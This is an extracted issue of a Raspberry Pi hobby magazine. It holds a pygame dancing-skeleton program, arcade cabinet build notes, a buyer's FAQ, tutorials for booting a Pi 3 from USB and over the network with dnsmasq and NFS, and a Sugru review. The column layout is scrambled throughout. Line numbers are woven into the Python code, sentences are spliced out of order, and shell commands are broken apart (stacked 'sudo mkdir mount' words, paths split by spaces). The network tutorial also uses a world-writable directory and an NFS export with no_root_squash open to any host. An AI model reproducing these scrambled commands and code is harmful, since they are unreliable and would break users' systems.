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A more compact way would be to use a list to mop up the repeated code in the main loop. As it takes about a minute to create and rotate all the images, progress is printed out on the console. Since the program runs in fullscreen mode, however, this is obscured, so in order to see the progress, the fullscreen window is iconified. Unfortunately, there is no un-iconify command and so the user is prompted to click on the icon bar when the code is ready to display. The space bar will toggle between a full-size window with icon bar and a full screen. The skeleton dances in front of a picture of a real-life pit of hell in Turkmenistan, which has been burning for over 50 years. You’ll find that if the volume is too loud, then the skeleton bunches up; if too quiet, it doesn’t move much.
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Fig 5 A trio of dancing skeletons Fig 4 Joining limbs to the body
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Taking it further
We restricted the limb movements to what we considered realistic, although there is a certain suspension of disbelief with the concept of a dancing skeleton anyway. You can easily change the limb rotation to the full 360 degrees to get far more crazy positions. There’s lots to tinker about with regarding the mapping of the sound to the movement. Also, there’s a manual version in the GitHub repo that uses the twin thumb joystick from last month’s project. How about having two skeletons that dance in perfect synchronisation? Or have each one with its own unique mapped data so they’re different? In fact, we have produced two- and three-skeleton versions that you can find on GitHub as well. These seem to be even funnier than the solo skeletons – see Fig 5. By having more than one skeleton, the moves seem more choreographed.
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import pygame, time, os, math from pygame.locals import * import wiringpi2 as io pygame.init() # initialise graphics interface screen = pygame.display.set_mode((0, 0)) # with window bar - use for debugging pygame.display.iconify() # hide window xPovitBodyLarm = 17 ; yPovitBodyLarm = 153 xPovitBodyLleg = 37 ; yPovitBodyLleg = 306 xPovitBodyRarm = 126 ; yPovitBodyRarm = 159 xPovitBodyRleg = 98 ; yPovitBodyRleg = 322 xPovitBodyThighL = 37 ; yPovitBodyThighL = 306 xPovitBodyThighR = 98 ; yPovitBodyThighR = 321 noiseFloor = [[200, 200, 200, 200, 200, 200, 200], [200, 200, 200, 200, 200, 200, 200]] leftData = [ 0.1,0.1,0.1,0.1,0.1,0.1,0.1 ] rightData = [ 0.1,0.1,0.1,0.1,0.1,0.1,0.1 ]
15. 16. 17. 18. def main(): print"Danse Macabre skeleton initialising" 19. initGPIO() 20. loadImages() 21. initWindow() 22. xbase =((xs/2.2)-100.0) 23. print"Now click on iconified Danse tab" 24. print"the space bar controls full screen display" 25. foreArmMax = 36; ArmMax = 36 26. thighMax = 40; legMax = 36 27. moveThresh = 0.08 28. while True: 29. getSpectrumData() 30. pan = int(xbase+float(xs/16)*(leftData[0]-rightData[0])) 31. tilt = int((ys/4)*(leftData[1]-rightData[1]))+40 32. ArmPosL = ArmMax/2 33. if rightData[2] > moveThresh: 34. ArmPosL = int(float(ArmMax/2) + float(ArmMax)*( 35. leftData[2]-0.5)) foreArmPosL = int(float(foreArmMax/2) + float( 36. foreArmMax)*(leftData[3]-0.5)) thighPosL = thighMax/2 37. if leftData[4] > moveThresh: 38. thighPosL = int(float(thighMax/2) + float(thighMax)*( 39. leftData[4]-0.5)) legPosL = legMax/2 40. if leftData[5] >moveThresh: 41. legPosL = int(float(legMax/2) + float(legMax)*( 42. leftData[5]-0.5)) 43. ArmPosR = ArmMax/2 44. if rightData[2] >moveThresh: 45. ArmPosR = int(float(ArmMax/2) + float(ArmMax)*( 46. rightData[2]-0.5)) foreArmPosR = int(float(foreArmMax/2) + float( 47. foreArmMax)*(rightData[4]-0.5)) thighPosR = thighMax/2 48. if rightData[3] > moveThresh: 49. thighPosR = int(float(thighMax/2) + float(thighMax)*( 50. rightData[3]-0.5))
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legPosR = legMax/2 if rightData[5] >moveThresh: legPosR = int(float(legMax/2) + float(legMax)*( rightData[5]-0.5)) showPicture(ArmPosL,ArmPosR,foreArmPosL,foreArmPosR, thighPosL,thighMax-thighPosR-1,legPosL,legPosR,pan,tilt) checkForEvent() def getSpectrumData(): global leftData, rightData io.digitalWrite(pinReset,1) io.digitalWrite(pinClock,1) time.sleep(0.001) io.digitalWrite(pinClock,0) time.sleep(0.001) io.digitalWrite(pinReset,0) io.digitalWrite(pinClock,1) time.sleep(0.004) for s in range(0,7): io.digitalWrite(pinClock,0) time.sleep(0.004) # allow output to settle leftData[s] = scaleReading(io.analogRead(70),s,0) rightData[s]= scaleReading(io.analogRead(71),s,1) io.digitalWrite(pinClock,1) def showPicture(armLpos,armRpos,farmLpos,farmRpos,thighRpos,t highLpos,legLpos,legRpos, x,y): #pygame.draw.rect(screen,(0,0,0),(0,0,xs,ys),0) # fast alternative to background plot screen.blit(background,(0,0)) screen.blit(bodyFrame,(x,y)) screen.blit(thighFrames[thighRpos],( x - thighPlot+xPovitBodyThighR,y-thighPlot+yPovitBodyThighR)) screen.blit(rightLegFrames[legRpos],( x - rightLegPlot + xPovitBodyThighR+dXthigh[thighRpos], y-rightLegPlot+yPovitBodyThighR+dYthigh[thighRpos])) screen.blit(thighFrames[thighLpos],( x - thighPlot+xPovitBodyThighL,y-thighPlot+yPovitBodyThighL)) screen.blit(leftLegFrames[legLpos],( x - leftLegPlot + xPovitBodyThighL+dXthigh[thighLpos], y-leftLegPlot+yPovitBodyThighL+dYthigh[thighLpos])) screen.blit(armFramesL[armLpos],( x - armPlot+xPovitBodyLarm,y-armPlot+yPovitBodyLarm)) screen.blit(foreArmFramesL[farmRpos],( x - foreArmPlot + xPovitBodyLarm+dXarmL[armLpos], y-foreArmPlot+yPovitBodyLarm+dYarmL[armLpos])) screen.blit(armFramesR[armRpos],( x - armPlot+xPovitBodyRarm,y-armPlot+yPovitBodyRarm)) screen.blit(foreArmFramesR[farmRpos],( x - foreArmPlot+xPovitBodyRarm+dXarmR[armRpos], y-foreArmPlot+yPovitBodyRarm+dYarmR[armRpos])) pygame.display.update() def loadImages(): global foreArmFramesR,foreArmFramesL,foreArmPlot, armFramesR,armFramesL,armPlot,dXarmR,dYarmR,dXarmL,dYarmL global thighFrames, thighPlot, dYthigh, dXthigh,
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137. rot_image = rot_image. >PYTHON 2.7 138. subsurface(rot_rect).copy() 139. return rot_image DOWNLOAD: 140. magpi.cc/1NqJjmV def initWindow(): 141. global screen,xs, PROJECT 142. ys,debug,fullScreen,background VIDEOS debug = True 143. os.environ['SDL_VIDEO_WINDOW_ Check out Mike’s Bakery videos at: 144. POS'] = 'center' magpi.cc/1NqJnTz 145. xs, ys = screen.get_size() 146. fullScreen = False if not debug : 147. pygame.display.toggle_fullscreen() 148. fullScreen = True 149. pygame.display.set_caption("Danse Macabre") 150. pygame.event.set_allowed(None) 151. pygame.event.set_allowed([pygame.KEYDOWN,pygame.QUIT]) background = pygame.transform.smoothscale(pygame.image. 152. load("skImages/background.jpg"),(xs,ys)) 153. 154. def scaleReading(reading,band,side): 155. reading -= noiseFloor[side][band] 156. if reading <0 : 157. reading = 0 158. scaled = (float(reading) / ( 1024.0 - float(noiseFloor[side][band]))) 159. return scaled 160. 161. def initGPIO(): 162. global pinReset,pinClock 163. pinReset = 23 164. pinClock = 24 165. try : 166. io.wiringPiSetupGpio() 167. except : 168. print"start IDLE with 'gksudo idle' from command line" 169. os._exit(1) 170. io.pinMode(pinReset,1) 171. io.pinMode(pinClock,1) 172. io.mcp3002Setup(70,0) 173. 174. def terminate(): # close down the program 175. print "Closing down please wait" 176. pygame.quit() # close pygame 177. os._exit(1) 178. 179. def checkForEvent(): # see if we need to quit 180. global fullScreen 181. event = pygame.event.poll() 182. if event.type == pygame.QUIT : 183. terminate() 184. if event.type == pygame.KEYDOWN : 185. if event.key == pygame.K_ESCAPE : 186. terminate() 187. if event.key == pygame.K_SPACE: 188. pygame.display.toggle_fullscreen() 189. fullScreen = not fullScreen 190. # Main program logic: 191. if __name__ == '__main__': 192. main()
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IOANA CULIC Ioana is an Internet of Things specialist and has written several IoT tutorial books and articles. She focuses on IoT in education. wyliodrin.com
BUILD A CAR MONITORING SYSTEM PART 02
You’ll Need > Wyliodrin STUDIO magpi.cc/1Q5i4il > SS441A Hall sensor > Camera Module > 220Ω resistor
Following on from last issue’s tutorial, we use a Camera Module to recognise the number plates of the cars passing by
t’s time to take the previously built traffic monitoring system and spice it up by making it really smart. We’ll connect it to the internet and, by accessing an open-source image processing service, we’ll display the number plate of the detected car. The project is built on top of the one described in the previous issue of the magazine, simply by adding the Camera Module.
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WESLEY ARCHER Self-taught Raspberry Pi enthusiast, founder of Raspberry Coulis, and guide writer for Pi Supply and Cyntech. raspberrycoulis.co.uk @RaspberryCoulis
You’ll Need > RaspCade designs (magpi.cc/ 21jHT61) > Access to a laser cutter > Wood glue (DIY store) > 2× 3-inch, 4Ω, 3W speakers (ModMyPi.com) > 8× countersunk M4 nuts and bolts > A drill with a countersink head
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In this fourth part of the build, we’ll be showing you how to assemble your laser-cut cabinet as part of your RaspCade home arcade machine
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n the first part of our build, we talked about our custom-designed RaspCade cabinet so that you could download the designs and laser cut your own. In this guide, we will look at this in more detail and provide an overview of assembling our RaspCade, so that we can take a giant step towards playing our retro video games. We’ll also look at adding speakers to our RaspCade and mounting all our kit inside in preparation for the next edition, where we’ll finally get our arcade machine up and running!
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The cabinet simply slots together and is held firm with some strong wood glue
We’ve designed this cabinet so it can be laser cut quickly and without breaking the bank!
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You’re going to need a laser-cut RaspCade to get started, but we designed one so you don’t have to. Designed in Adobe Illustrator and saved as an Encapsulated PostScript (EPS) file, our RaspCade cabinet is optimised for online laser cutting services, so getting your own cabinet is as simple as downloading our design (magpi.cc/21jHT61) and then uploading it to your chosen service. Jason Barnett (@boeeerb) at Cyntech kindly helped with our first prototype, and we used Just Add Sharks (justaddsharks.co.uk) for our final cut, which cost us around £15 including delivery.
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This is how our base panel looks when everything has been mounted in place, including a layer from the Qubit case we mentioned in the last edition
The speakers are attached to the sides of the case
it meant we could mount the LCD driver board and Pi very easily, but it’s equally easy to add your own mounting holes and standoffs. In our build, we used a small drill bit to add several mounting points on the base unit, so that we could install standoffs for the Picade PCB, as well as holes for the two speakers.
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Mounting the speakers It’s very easy to mount the speakers, as the ones we used come with four holes that are ideally suited to M4 bolts. After placing our speaker in the correct position first, we marked the positions for our holes with a pencil, drilled the holes, and then used the countersink bit to countersink the hole so that the bolt would sit flush with the cabinet when assembled. It was then very simple to solder the positive and negative wires to each speaker, ready to connect to the Picade PCB. It’s useful to put some coloured electrical tape around the positive wires, so you can find them quickly later.
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Let the glue dry! The hardest part for us was waiting for the glue to dry properly before starting the next panel! However, it’s worth waiting to be sure that the glue has dried properly, otherwise it could ruin your build. When we added the top panel, we tied string around the sides and placed a small weight on top (a tin of beans would do!), to hold the panel together whilst the glue dried. This meant that we had a perfectly square cabinet frame once everything had dried, and now we could add some internal parts, including our Raspberry Pi!
Think where you will put your RaspCade when the glue is drying and don’t mess with it for at least 24 hours!
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Our RaspCade design includes simple box joints, so assembling the cabinet is pretty straightforward. We recommend doing a test run before gluing together, just so you are confident you get each panel the right way round! Using a strong wood glue, start by gluing one of the side panels to the base unit and then let that dry. We propped ours against a wall whilst the glue dried (which can take 24 hours) to ensure it was held in the correct position. We then added the other side panel, repeating the same process.
Before gluing all the panels together, we found it easier to put our electronics in place first. We connected our buttons, joystick, and speaker wires to the Picade PCB and then screwed the Picade PCB onto the standoffs so it was secured inside. We then glued the front panel in place, then the joystick panel, and then the screen, ensuring we waited for the glue to dry each time. Lastly, we added two small jewellery box hinges to the back panel and a magnetic catch, so we could get to the insides of our RaspCade quickly and easily if needed!
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DON’T OVERTIGHTEN SCREWS Our cabinet is made from MDF, so don’t overtighten any screws, otherwise you could damage the wood.
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BUYING A RASPBERRY PI WHERE CAN I BUY A RASPBERRY PI? Online Most versions of the Raspberry Pi are available online, from many electronics and big online stores. You can buy them on Amazon, hobbyist stores like Pimoroni, or go to electronics providers such as Element14 and RS Components.
In store Some big electronics stores sell Raspberry Pi hardware in-store. In the UK, this includes Maplin; in the USA, places like Micro Center are your best bet. You can also get them at most Raspberry Jams with merch tables.
What does the Raspberry Pi come with? Below The brand new official starter kit comes with everything needed
It depends where you buy it from, but it will either be the core board with no accessories, or you could get a case bundle or even a full kit bundle to get you started. They all vary in cost, of course.
WHERE CAN I BUY A PI ZERO? Online The Raspberry Pi Zero is stocked in a few places online, such as Pimoroni and The Pi Hut in the UK, and Adafruit in the US. Canakit in Canada has recently begun selling them as well. Check stock on whereismypizero.com when you want to buy one.
In store So far, Micro Centers in the US are the only places you can buy the Pi Zero in person. This may change in the future now that supply is keeping up with demand, but for now you’ll have to find your local Micro Center to get one: magpi.cc/2cies2o.
Subscribe to The MagPi If you buy a six- or twelve-month print subscription to The MagPi, you will receive a Pi Zero v1.3 (the one with a camera port) for free, along with a bundle of cables to use it. Read more about the offer on page 66.
WHERE CAN I BUY ACCESSORIES? Raspberry Pi add-ons Official HATs, cameras, and other add-ons for the Raspberry Pi can be purchased from any good Raspberry Pi hobby website, such as Pimoroni, The Pi Hut, or Adafruit. You can also get them from official Pi distributors Element14 and RS Components.
Electronics components While components and bits you need for electronics are available at Pi hobby sites, you can also get them from any electronics supplier or store that specialises in them. Breadboards and components that work with the GPIO pins are standard parts.
Input devices The Raspberry Pi will work with any standard USB mouse and keyboard combo, along with most wireless versions that use a dongle or a Bluetooth connection. If you have a computer at home, you can always borrow the parts from there! 64
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RASPBERRYPI.ORG/HELP What is the user name and password for the Raspberry Pi? The default user name for the standard Raspbian operating system is pi, and the default password is raspberry. If this doesn't work, check the information about your specific distro on the downloads page: raspberrypi.org/downloads. Why does nothing happen when I type in my password? Did my Raspberry Pi freeze? To protect your information, Linux doesn't display anything when typing in passwords in the Bash prompt or the terminal. As long as you were able to see the user name being typed in, your keyboard is working correctly. What are the differences between models? These are the current models of the Raspberry Pi available: the Pi 2 Model B, the Pi 3 Model B, the Pi Zero, and the Pi 1 Model B+ and A+.
The Model A+ is a low-cost variant of the Raspberry Pi. It has one USB port, 40 GPIO pins, and no Ethernet port. The original version came with 256MB of RAM, but the new model (launched in August 2016) has 512MB. uses a 900MHz quad-core ARM Cortex-A7 CPU and has 1GB RAM. The Pi 2 is completely compatible with first-generation boards. The Pi 3 Model B was launched in February 2016; it uses a 1.2GHz 64-bit quad-core ARM Cortex-A53 CPU, has 1GB RAM, plus integrated 802.11n wireless LAN and Bluetooth 4.1. Finally, the Pi Zero is half the size of a Model A+, with a 1GHz single-core CPU and 512MB RAM, plus mini-HDMI and micro-USB ports (requiring adapters).‑download
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USB OR ETHERNET Discover two new ways to start up your Raspberry Pi he trusty SD card has served us well, bless it. But now there are two new options: USB and Ethernet. Booting from the SD card isn’t going away, so you can still use it. But it’s worth experimenting with these new features, as they’re both very interesting. We caught up with Gordon Hollingworth, Raspberry Pi’s director of engineering. He helped explain what’s going on. “Inside the processor chip there’s a little bit of ROM (read-only memory) which contains some software to begin the boot process,” explains Gordon. The boot process is what happens when you power up a Raspberry Pi; it’s the instructions hardwired into the computer to look for attached disks and start loading an operating system. “In the past, the main boot mode supported was by SD card,” says Gordon. “So when the Raspberry Pi was powered up, it looked for an SD card and looked for a special file (called bootcode.bin) on the FAT partition of the card. “I’ve added a few more boot modes,” he tells us. “The first is a mass storage device (MSD) that allows
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it [the Raspberry Pi] to search for bootcode.bin on an attached USB drive.” As well as being easier to source, USB flash drives are slightly cheaper than microSD cards, especially at higher capacity. “The second [mode] to implement was DHCP/TFTP boot. This allows the Pi to be booted over a network,” continues Gordon. “I began writing the changes to the boot ROM code around twelve months ago, but in total the work required took around three to four months,” he reveals. “The main difficulty is having to implement a complete USB host, including being able to enumerate hubs and talk to all the devices in the USB network. It also needed to implement the USB SCSI protocol and the Ethernet setup, as well as all the network layer for UDP, DHCP, TFTP, and ARP protocols. All of that had to be implemented in 32kB.” We think Gordon’s done a sterling job of fitting not one, but three different boot processes in the small space allocated to the boot ROM. So let’s take advantage of that effort and discover how to boot from USB and Ethernet.
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RASPBERRY PI 3 You’ll need a Raspberry Pi 3 to take advantage of the new boot modes. The boot code update is stored in the BCM2837 (the system on a chip) and isn’t included with other models of Raspberry Pi.
SD CARD BOOT
ETHERNET BOOT
USB BOOT
A microSD card is currently used to boot a Raspberry Pi. You can still boot the Raspberry Pi from the SD card, but now you have two more options available.
An Ethernet cable is used to connect your Raspberry Pi to a network. Now it can load the operating system image directly from the network.
The operating system can be loaded onto the USB flash drive and used to start up the Raspberry Pi. You’ll need an SD card to set up the drive (for now), but it then allows for SD card-free booting.
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Turn a USB flash drive into a boot drive and start up your Raspberry Pi
You’ll Need > Raspberry Pi 3 > USB drive > microSD card
n this tutorial we’re going to look at booting a Raspberry Pi 3 using a USB flash drive. You can use any MSD (mass storage device) to boot the Raspberry Pi, which includes USB flash drives and hard drives. You will, however, need a microSD card to set up the Raspberry Pi in the first instance. Start by flashing a microSD card with Raspbian. If you’re running Raspbian Lite, you will need to run an rpi-update:
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sudo apt-get update; sudo apt-get install rpi-update Now you need to switch the update branch from the default (master) to next:
sudo BRANCH=next rpi-update Then we need to enable USB boot mode by adjusting the config.txt file: Below Here we have a Raspberry Pi running just an attached USB drive mounted on /dev/sda
echo program_usb_boot_mode=1 | sudo tee -a /boot/config.txt
of /boot/config.txt (you can check it with cat /boot/config.txt). Reboot the Pi with sudo reboot, then check that the OTP has been programmed with:
vcgencmd otp_dump | grep 17: 17:3020000a Ensure the output 0x3020000a is correct.
Prepare the USB storage device
Attach a USB storage device (which will be completely erased) to the Raspberry Pi. Rather than downloading the Raspbian image again, we will copy it from the SD card still in the Raspberry Pi. The source device (SD card) will be /dev/mmcblk0 and the destination device (USB disk) should be /dev/sda, assuming you have no other USB devices connected.
sudo umount /dev/sda Note the command ‘umount’, not ‘unmount’. Next, you need to open Parted, pointing to the drive:
sudo parted /dev/sda This adds ‘program_usb_boot_mode=1’ to the end You’ll see a ‘Welcome to GNU Parted!’ message. You’ll also see (parted) instead of the $ symbol on the command line, indicating that you’re in Parted. Enter:
mktable msdos You’ll see: ‘Warning: The existing disk label on /dev/sda will be destroyed and all data on this disk will be lost. Do you want to continue?’ Enter ‘yes’. Now create the two partitions: a FAT32 taking up 100MB of space, the second ext4 taking up the rest.
mkpart primary fat32 0% 100M mkpart primary ext4 100M 100% Use print to view the details of the partitions.
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BOOT YOUR RASPBERRY PI Ours says: Model: UFD 2.0 Silicon-Power8G (scsi) Disk /dev/sda: 8054MB Sector size (logical/physical): 512B/512B Partition Table: msdos Disk Flags: Number 1 2 Start 1049kB 99.6MB End 99.6MB 8054MB Size 98.6MB 7954MB Type primary primary File system fat32 ext4 Flags lba lba
Now regenerate your SSH host keys:
Your Parted print output should look similar to the one above. Create the boot and root file systems:
Edit /boot/cmdline.txt so that it uses the USB storage device as the root file system instead of the SD card:
sudo mkfs.vfat -n BOOT -F 32 /dev/sda1 sudo mkfs.ext4 /dev/sda2
sudo sed -i "s,root=/dev/mmcblk0p2,root=/ dev/sda2," /mnt/target/boot/cmdline.txt
Our disk is formatted. It’s time to mount the target file systems on sda1 and sda2:
sudo sudo sudo sudo
mkdir mount mkdir mount
/mnt/target /dev/sda2 /mnt/target/ /mnt/target/boot /dev/sda1 /mnt/target/boot/
Now we need to copy the running Raspbian system to the target. We’re going to download a program called rsync and use it to copy Raspbian across.
sudo apt-get update; sudo apt-get install rsync sudo rsync -ax --progress / /boot /mnt/target The files will be displayed on the screen as they are copied across. The copy process may take some time.
The same needs to be done for fstab:
sudo sed -i "s,/dev/mmcblk0p,/dev/sda," / mnt/target/etc/fstab Finally, unmount the target file systems, and power off the Pi:
cd ~ sudo umount /mnt/target/boot sudo umount /mnt/target sudo poweroff Disconnect the power supply from the Pi, remove the SD card, and reconnect the power supply. If all has gone well, the Raspberry Pi will begin to boot after a few seconds.
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>STEP-01 – SWITCH TO NEXT
First, you need to install Raspbian using an SD card and open it on a Raspberry Pi 3. Switch updates from the master branch to the next branch. This enables you to run the beta features, including the new boot modes.
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>STEP-02 – COPY RASPBIAN
Next, you attach a USB flash drive and use Parted to format it and create two partitions: FAT32 for booting and ext4 for Raspbian. Then use rsync to duplicate the entire Raspbian image on the SD card to the flash drive.
>STEP-03 – UPDATE SSH
Finally, you need to regenerate the SSH keys on your USB flash drive by deleting the old files and reconfiguring openssh-server. OpenSSH is used to secure Linux, and this will enable the new flash drive to run. Now when you reboot the Raspberry Pi, you can boot directly from the USB flash drive.
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You’ll Need > Two Raspberry Pi boards (one a Raspberry Pi 3) > Ethernet cable > 16GB (or larger) microSD card
ETHERNET BOOT Discover how to boot a Raspberry Pi device (or several boards) over a network using network boot
he third available boot mode for the Raspberry Pi 3 is network boot. With this feature enabled, you can install Raspberry Pi on one computer and then use it to boot another Raspberry Pi on the same network. In particular, you need two boards. One acts as the server (booted using a microSD card containing Raspbian); the other is the client which will boot into Raspbian without any attached storage device. Only one of the Raspberry Pi devices (the server) requires a microSD card, although it has to be at least 16GB capacity. This is because it must carry the image of Raspbian used to boot the board, and another image of Raspbian used to boot the computers on the network. “The big advantage with network booting,” says Gordon Hollingworth, Raspberry Pi’s director of engineering, “is with a small penalty for booting time, you can boot a whole classroom of Raspberry Pi boards from a single server, with absolutely no programming of SD cards.”
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“We use the network booting with our test subsystem,” explains Gordon. “This allows us to completely reboot a Pi with no reliance on old boot software”. So if they break something during testing, they can just reload the operating system. “Since you can easily create a shared filing system,” he continues, “it makes it very easy to add Raspberry Pis to a server to provide a whole network of Raspberry Pis, with no fiddly SD cards.”
Network boot your Raspberry Pi
This tutorial explains how to set up a simple DHCP / TFTP server which will allow you to boot a Raspberry Pi 3 from the network. This assumes you have an existing home network and want to use a Raspberry Pi for the server. Install Raspbian Lite (or the full OS if you want) from the Downloads page onto an SD card, using Win32DiskImager if you’re on Windows, or dd if you’re on Linux/Mac.
Right Don’t forget to expand the file system so you have enough space for a cloned copy of Raspbian (used by the client)
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The client is the board booted from the network without a microSD card inserted. Instead, it loads the operating system (and saves files) from and to the microSD card in the server. The client must be a Raspberry Pi 3.
You’ll need a microSD card with at least 16GB capacity in the Pi acting as a server.
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The server is another Raspberry Pi on the network (it can be any model). It has a microSD card (16GB or greater) containing a modified version of Raspbian. It runs the server software, and boots other Raspberry Pi devices over the network.
Place the microSD card into the client Raspberry Pi (the Raspberry Pi 3 that you intend to boot over the network and without the card in future). Just as with USB boot, you’ll first need to prepare the /boot directory with experimental boot files. If you’re using Raspbian Lite, you need to run an rpi-update before you can use it:
sudo apt-get update; sudo apt-get install rpi-update sudo BRANCH=next rpi-update Then enable USB boot mode with:
echo program_usb_boot_mode=1 | sudo tee -a / boot/config.txt This adds ‘program_usb_boot_mode=1’ to the end of /boot/config.txt. Reboot the Raspberry Pi:
sudo reboot Once the client Pi has rebooted, check that the OTP (one-time programmable) memory has been programmed using:
vcgencmd otp_dump | grep 17: 17:3020000a Ensure the output is ‘3020000a’.
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ETHERNET CABLE
Both Raspberry Pi devices must be connected to the same network. The server waits for a connection from the client, and then loads the operating system over the network.
The client configuration is almost done. The final thing to do is to remove the ‘program_usb_boot_ mode’ line from config.txt:
sudo nano /boot/config.txt Scroll down to the end and remove the line marked ‘program_usb_boot_mode=1’. Press CTRL+O and hit RETURN to save the file, then CTRL+X to return to the command line. Finally, shut down the client Pi with sudo poweroff.
Server configuration
Remove the microSD card and transfer it to the server Raspberry Pi. Power it up and immediately expand the root file system to take up the entire SD card. Open Menu > Preferences > Raspberry Pi Configuration and click Expand Filesystem. Click OK > Yes to reboot the Pi. Alternatively, use sudo raspi-config. The client Raspberry Pi needs a root file system to boot from, which has to be separate from the file system being used by the server. So before we do anything else on the server, we’re going to make a full copy of its file system and put it into a directory called /nfs/client1.
sudo mkdir -p /nfs/client1 sudo apt-get install rsync sudo rsync -xa --progress --exclude /nfs / /nfs/client1
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Feature Regenerate the SSH host keys on the client file system by chrooting into it:
cd /nfs/client1 sudo mount --bind /dev dev sudo mount --bind /sys sys sudo mount --bind /proc proc sudo chroot . rm /etc/ssh/ssh_host_* dpkg-reconfigure openssh-server exit sudo umount dev sudo umount sys sudo umount proc Now you need to find the settings of your local network. First, locate the address of your router (or gateway), which you can find with:
Configuring the server
Now we’re going to configure a static network address on your server Raspberry Pi using sudo nano /etc/network/interfaces. Change the line ‘iface eth0 inet manual’ so that the address is the inet you wrote down, the netmask address is 255.255.255.0, and the gateway address is the number received using ip route. Ours looks like this:
auto eth0 iface eth0 inet static address 192.168.0.197 netmask 255.255.255.0 gateway 192.168.0.1 Use CTRL+O, RETURN, and CTRL+X to save the text file and return to the command line. Next, we disable the DHCP client daemon and switch to standard Debian networking:
ip route | grep default | awk '{print $3}' This will be a four-digit number, and typically it ends in 1. Ours is 192.168.0.1. Next, we need to find the IP address of our server Raspberry Pi on the network. This will be the same address, but with a different last number.
ip -4 addr show dev eth0 | grep inet This should give an output like:
inet 192.168.0.197/24 brd 192.168.0.255 scope global eth0 The first address (inet) is the IP address of your server Pi on the network. Ours is device 197. The second part (the brd) is the network size (the number of total devices allowed on the network, which is almost always 255). The part after the slash is the network size. It’s highly likely that yours will be a /24. Write down both the inet and brd numbers. Finally, note down the address of your DNS server, which is the same address as your gateway. You can find this with:
cat /etc/resolv.conf You will see ‘nameserver’ followed by another number. You may have more than one nameserver address. We get:
nameserver 194.168.4.100 nameserver 194.168.8.100 router/ gateway address you found earlier:
echo "nameserver 192.168.0.1" | sudo tee -a /etc/resolv.conf Then make the file immutable (because otherwise dnsmasq will interfere) with the following command:
sudo chattr +i /etc/resolv.conf Next, we’re going to install some software we need:
sudo apt-get update sudo apt-get install dnsmasq tcpdump Stop dnsmasq breaking DNS resolving:
sudo rm /etc/resolvconf/update.d/dnsmasq sudo reboot Now start tcpdump so you can search for DHCP packets from the client Raspberry Pi:
sudo tcpdump -i eth0 port bootpc Write down the nameserver address(es). Connect the client Raspberry Pi to your network
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BOOT YOUR RASPBERRY PI and power it on. Check that the LEDs illuminate on the client after around 10 seconds, then you should get a packet from the client, ‘BOOTP/DHCP, Request from ...’ It will have lines that look like:
IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from b8:27:eb... Now we need to modify the dnsmasq configuration to enable DHCP to reply to the device. Press CTRL+C on the keyboard to exit the tcpdump program, then type the following:
sudo echo | sudo tee /etc/dnsmasq.conf sudo nano /etc/dnsmasq.conf Replace the contents of dnsmasq.conf with:
port=0 dhcp-range=192.168.0.255,proxy log-dhcp enable-tftp tftp-root=/tftpboot pxe-service=0,"Raspberry Pi Boot" Make sure the first address of the dhcp-range line is the broadcast address (brd) number you noted down earlier (the number typically ending in 255). Now create a /tftpboot directory:
sudo sudo sudo sudo
mkdir /tftpboot chmod 777 /tftpboot systemctl enable dnsmasq.service systemctl restart dnsmasq.service
Set up root
We now have a Raspberry Pi that boots until it tries to load a root file system (which it doesn’t have). All we have to do to get this working is to export the /nfs/client1 file system we created earlier:
sudo apt-get install nfs-kernel-server echo "/nfs/client1 *(rw,sync,no_subtree_ check,no_root_squash)" | sudo tee -a /etc/ exports sudo systemctl enable rpcbind sudo systemctl restart rpcbind sudo systemctl enable nfs-kernel-server sudo systemctl restart nfs-kernel-server
Now monitor the dnsmasq log:
We need to edit the cmdline.txt file:
tail -f /var/log/daemon.log
sudo nano /tftpboot/cmdline.txt
You should see several lines like this:
raspberrypi dnsmasq-tftp[1903]: file /tftpboot/bootcode.bin not found Next, you’ll need to copy bootcode.bin and start.elf into the /tftpboot directory; you should be able to do this by just copying the files from /boot, since they are the right ones. We need a kernel, so we might as well copy the entire boot directory. First, use CTRL+Z to exit the monitoring state. Then type the following:
cp -r /boot/* /tftpboot Restart dnsmasq for good measure:
sudo systemctl restart dnsmasq
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Above Note network settings when you set up the client. These need to be added to the server so it can locate your client Pi on the network
From ‘root=’ onwards, replace it with:
root=/dev/nfs nfsroot=192.168.0.197:/ nfs/client1 rw ip=dhcp rootwait elevator=deadline You should substitute the IP address here with the inet address you noted down earlier (found using ip -4 addr show dev eth0 | grep inet). Finally, enter:
sudo nano /nfs/client1/etc/fstab Remove the ‘/dev/mmcblkp1’ and ‘p2’ lines (only ‘proc’ should be left). Good luck! If it doesn’t boot first time, keep trying. It can take a minute or so for the Raspberry Pi to boot, so be patient.
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SUGRU REBEL TECH KIT
Maker Says Stick it. Shape it. It turns into rubber Sugru
SUGRU REBEL TECH KIT Billed as ‘mouldable glue,’ is Sugru’s new Rebel Tech Kit the ultimate introduction for makers and tinkerers?
Related OOGOO
Created by mixing silicone caulk with corn starch, Oogoo is a DIY alternative to Sugru which can be made in volume for very little money.
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ugru has long struggled to make an impact outside of maker circles. Its original incarnation was billed as ‘softtouch silicone rubber that moulds and sets permanently’, a somewhat wordy but accurate summary of its capabilities. Nowadays, that has been condensed to ‘mouldable glue’, which still somehow fails to quickly capture the attention and get across just how useful Sugru can be in a variety of situations. That’s where, its creators hope, the Rebel Tech Kit comes in. Created following the success of the Home Hacks Made Easy kit, the Rebel Tech Kit is designed to appeal to those who prefer their gadgets
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and gizmos, rather than anyone looking to fix a leaky tap or make a sieve more comfortable to use. Inside, the kit follows the existing formula: four individual sachets of Sugru – in white, black, grey, and red – are housed in a neat little reusable tin, as is a small plectrum which can aid in the moulding and shaping process. It’s the bundled booklet, though, that’s the real star of the show. Printed in full colour, the guide book runs through 14 individual projects to help showcase the capabilities of Sugru. There’s nothing particularly groundbreaking – the most advanced of the listed projects
involves 3D printing a mould which can be used to shape Sugru cable strain-relief grommets – but each is clearly detailed, though perhaps a bit briefly given the limit of two pages per project. Flicking through the booklet gives an insight into the various ways in which Sugru can enhance your existing technology. Showcased ‘fixes’, as the Sugru community terms them, include hanging media playback boxes on the back of TVs, customising console gamepads, creating a hook on which to hang your headphones, and even adding multicoloured bumpers to an old digital camera to make it suitable raspberrypi.org/magpi
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SUGRU REBEL TECH KIT sugru.com
£10 / $15
Above The handy guide shows you the many different ways you can use Sugru
